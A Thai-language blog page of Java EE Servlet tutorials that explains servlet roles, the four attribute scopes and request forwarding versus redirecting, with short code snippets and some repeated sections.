เอาหละ ผมนึกออกแค่นี้ ใครข้องใจตรงไหนอีกก็ฝากคำถาม หรือเสนอแนะมาได้ครับ รับฟังทุกคนครับ
Servlet คุณลักษณะหลักๆ จะเป็น java class ที่ไม่ได้มี html tag ใดๆ ทั้งสิ้น เพราะฉะนั้น ..... ปิ๊งป่องใช่แล้วครับ ใช้ในการทำงานหรือเรียกว่า controller ใน model ของ MVC นั่นเอง ด้วยเหตุที่ว่า servlet ไม่ได้ถูกเจาะจงให้แสดงผลเป็น html แต่เจาะจงให้เป็นอะไรก็ได้ที่ทำงานอยู่เบื้องหลัง เช่นการติดต่อ database การบันทึก log ของระบบ นั่นก็คืออะไรที่ไม่แสดงออกทางเว็บก็โยนให้ Servlet ทำให้หมดครับ
- ติดต่อ Database เพื่อทำการดึงข้อมูล
- เก็บ log ของคนใช้งาน
- download File
- export รายงานต่าง ๆ
ข้อ 2 Servlet เป็น Server Side Script ใครอธิบายได้บ้าง........... เอ่อ อ่าาา อ่าฮะ โอเคหมดเวลา ทุกคนตอบถูกครับ ความหมายของมันคือ Server Side Script ก็คือ Script ที่รันอยู่ฝั่ง Server นั่นเอง ซึ่งหากเราอ้าง File file = new File("d:/test"); นั้นก็คือ drive "d:/test" ที่อยู่บนเครื่อง Server ที่ Application ของเรารันอยู่นั่นเองครับ ซึ่งสิ่งที่ต้องตระหนักก็คือ คนที่เข้าึถึง resource ของฝั่ง server คือ Web Application ครับ สิทธิจึงเท่ากับ User ที่เป็นเจ้าของ service นั่นเอง
เอาหละ ผมนึกออกแค่นี้ ใครข้องใจตรงไหนอีกก็ฝากคำถาม หรือเสนอแนะมาได้ครับ รับฟังทุกคนครับ
JAVAEE : Servlet Part 5 Scope
วันนี้เรามาลุยเรื่อง Scope กันเต็มตัวครับ เปรยมาสองตอนด้วยกัน
Scope เป็นศัพท์ที่ใช้เรียกขอบเขตของตัวแปรว่าค่าจะมีชีวิตอยู่ถึงตอนไหนกันแน่ครับ ซึ่งมีด้วยกัน 4 Scope
1. Page Scope
page Scope เป็น Scope ที่เล็กที่สุดครับ ซึ่งค่าของตัวแปรที่อยู่ใน Scope นี้จะมีค่าอยู่แค่ในหน้าปัจจุบันเท่านั้นครับ
การใช้งาน ผมเคยเห็นแต่ใน jsp ครับ
- pageContext.setAttribute("name");
- pageContext.getAttribute("name");
2. Request Scope
request Scope เป็น Scope ที่ค่าจะอยู่จนกระทั้ง Request Life Cycle จบลง ใครจำไม่ได้ย้อนอ่านบทก่อนหน้าครับ ใช้บ่อยสุด หากทำตามรูปแบบ MVC ครับ
- request.setAttrubute("name");
- request.getAttribute("name");
3. Session Scope
session Scope เป็น Scope ที่ใช้เก็บข้อมูลของผู้ใช้ เพราะจะอยู่จนกระทั่งปิด browser หรือเราลบออกไปครั
// In Servlet
- request.getSession().setAttribute("name");
- request.getSession().getAttribute("name");
- request.getSession().removeAttribute("name");
// In Jsp
- session.setAttribute("name");
- session.getAttribute("name");
- session.removeAttribute("name");
4. Application Scope
application Scope ใหญ่มากๆ เพราะเป็นตัวแปรที่อยู่ในระดับของ application ซึ่งไม่เฉพาะของเราคนเดียว ใครก็ตามที่เข้ามาใน application เดียวกัน ก็จะเห็นค่าเดียวกันครับ ลองดูตัวนี้เจ๋งมาก ถึงจะไม่ค่อยได้ใช้ก็เถอะ
// In Servlet
- request.getServletContext().setAttribute("name");
- request.getServletContext().getAttribute("name");
- request.getServletContext().removeAttribute("name");
// In Jsp
- application.setAttribute("name");
- application.getAttribute("name");
- application.removeAttribute("name");
ฝึกใช้กันเยอะๆ นะครับ เพราะเด๋วจะเจออีกเยอะครับ
Scope เป็นศัพท์ที่ใช้เรียกขอบเขตของตัวแปรว่าค่าจะมีชีวิตอยู่ถึงตอนไหนกันแน่ครับ ซึ่งมีด้วยกัน 4 Scope
1. Page Scope
page Scope เป็น Scope ที่เล็กที่สุดครับ ซึ่งค่าของตัวแปรที่อยู่ใน Scope นี้จะมีค่าอยู่แค่ในหน้าปัจจุบันเท่านั้นครับ
การใช้งาน ผมเคยเห็นแต่ใน jsp ครับ
- pageContext.setAttribute("name");
- pageContext.getAttribute("name");
2. Request Scope
request Scope เป็น Scope ที่ค่าจะอยู่จนกระทั้ง Request Life Cycle จบลง ใครจำไม่ได้ย้อนอ่านบทก่อนหน้าครับ ใช้บ่อยสุด หากทำตามรูปแบบ MVC ครับ
- request.setAttrubute("name");
- request.getAttribute("name");
3. Session Scope
session Scope เป็น Scope ที่ใช้เก็บข้อมูลของผู้ใช้ เพราะจะอยู่จนกระทั่งปิด browser หรือเราลบออกไปครั
// In Servlet
- request.getSession().setAttribute("name");
- request.getSession().getAttribute("name");
- request.getSession().removeAttribute("name");
// In Jsp
- session.setAttribute("name");
- session.getAttribute("name");
- session.removeAttribute("name");
4. Application Scope
application Scope ใหญ่มากๆ เพราะเป็นตัวแปรที่อยู่ในระดับของ application ซึ่งไม่เฉพาะของเราคนเดียว ใครก็ตามที่เข้ามาใน application เดียวกัน ก็จะเห็นค่าเดียวกันครับ ลองดูตัวนี้เจ๋งมาก ถึงจะไม่ค่อยได้ใช้ก็เถอะ
// In Servlet
- request.getServletContext().setAttribute("name");
- request.getServletContext().getAttribute("name");
- request.getServletContext().removeAttribute("name");
// In Jsp
- application.setAttribute("name");
- application.getAttribute("name");
- application.removeAttribute("name");
ฝึกใช้กันเยอะๆ นะครับ เพราะเด๋วจะเจออีกเยอะครับ
วันจันทร์ที่ 25 มีนาคม พ.ศ. 2556
JAVAEE : Servlet Part 4 Request Life Cycle
วันนี้มาเรียนรู้ Request Life Cycle หรือวิถีชีวิตของ Request นั่นเอง
Request ของ Servlet มีชีวิตและตายได้นะครับ ซึ่งนั้นก็คือ Request Scope ที่จะได้เรียนถัดไปนั่นเอง
เมื่อมีการเรียกเข้ามา 1 ครั้ง ก็จะเกิดการสร้าง thread เพื่อมารับ request และประมวลผลและส่งกลับ นั้นคือ 1 request ซึ่งจริงๆ ดูง่ายๆ ครับ หาก url ยังไม่เปลี่ยนไปนั่นแสดงว่า request เดิมครับ
มี 2 เมธอดมาแนะนำ
// MyServlet
RequestDispatcher rd = request.getRequestDispatcher("page2.jsp");
rd.forward(request,response);
กับ
response.sendRedirect("page2.jsp");
หาก เรียกมาที่ MyServlet?param1=test
แบบ 1 url ที่จะได้จะเป็น MyServlet?param1=test อยู่ ที่หน้า page2.jsp หากแสดงค่า request.getParameter("param1"); ก็จะได้ค่า test ที่เราส่งให้ไปครับ สังเกตว่าแม้อยู่ในหน้า page2.jsp ก็สามารถรับค่า parameter ที่ส่งมาจาก MyServlet ได้อยู่แสดงว่าเป็น Request เดียวกันอยู่ครับ
แบบ 2 url ที่จะได้จะเป็น page2.jsp ซึ่งเมื่อทำแบบเดียวค่า request.getParameter("param1"); ก็จะได้ค่าเป็น null ซึ่งเป็นค่าว่างเปล่าของ String ใน java นั่นเอง
สำหรับ jsp ก็คือจะมี jsp:forward ใช้สำหรับเพื่อให้เป็น request เดียวกันครับ และ jsp:forward ได้ครับ ซึ่งจะเป็นการเปลี่ยนไปหน้าถัดไปโดยไม่สนใจค่าในหน้าเดิมเลยครับ
Request ของ Servlet มีชีวิตและตายได้นะครับ ซึ่งนั้นก็คือ Request Scope ที่จะได้เรียนถัดไปนั่นเอง
เมื่อมีการเรียกเข้ามา 1 ครั้ง ก็จะเกิดการสร้าง thread เพื่อมารับ request และประมวลผลและส่งกลับ นั้นคือ 1 request ซึ่งจริงๆ ดูง่ายๆ ครับ หาก url ยังไม่เปลี่ยนไปนั่นแสดงว่า request เดิมครับ
มี 2 เมธอดมาแนะนำ
// MyServlet
RequestDispatcher rd = request.getRequestDispatcher("page2.jsp");
rd.forward(request,response);
กับ
response.sendRedirect("page2.jsp");
หาก เรียกมาที่ MyServlet?param1=test
แบบ 1 url ที่จะได้จะเป็น MyServlet?param1=test อยู่ ที่หน้า page2.jsp หากแสดงค่า request.getParameter("param1"); ก็จะได้ค่า test ที่เราส่งให้ไปครับ สังเกตว่าแม้อยู่ในหน้า page2.jsp ก็สามารถรับค่า parameter ที่ส่งมาจาก MyServlet ได้อยู่แสดงว่าเป็น Request เดียวกันอยู่ครับ
แบบ 2 url ที่จะได้จะเป็น page2.jsp ซึ่งเมื่อทำแบบเดียวค่า request.getParameter("param1"); ก็จะได้ค่าเป็น null ซึ่งเป็นค่าว่างเปล่าของ String ใน java นั่นเอง
สำหรับ jsp ก็คือจะมี jsp:forward ใช้สำหรับเพื่อให้เป็น request เดียวกันครับ และ jsp:forward ได้ครับ ซึ่งจะเป็นการเปลี่ยนไปหน้าถัดไปโดยไม่สนใจค่าในหน้าเดิมเลยครับ
สมัครสมาชิก:
บทความ (Atom)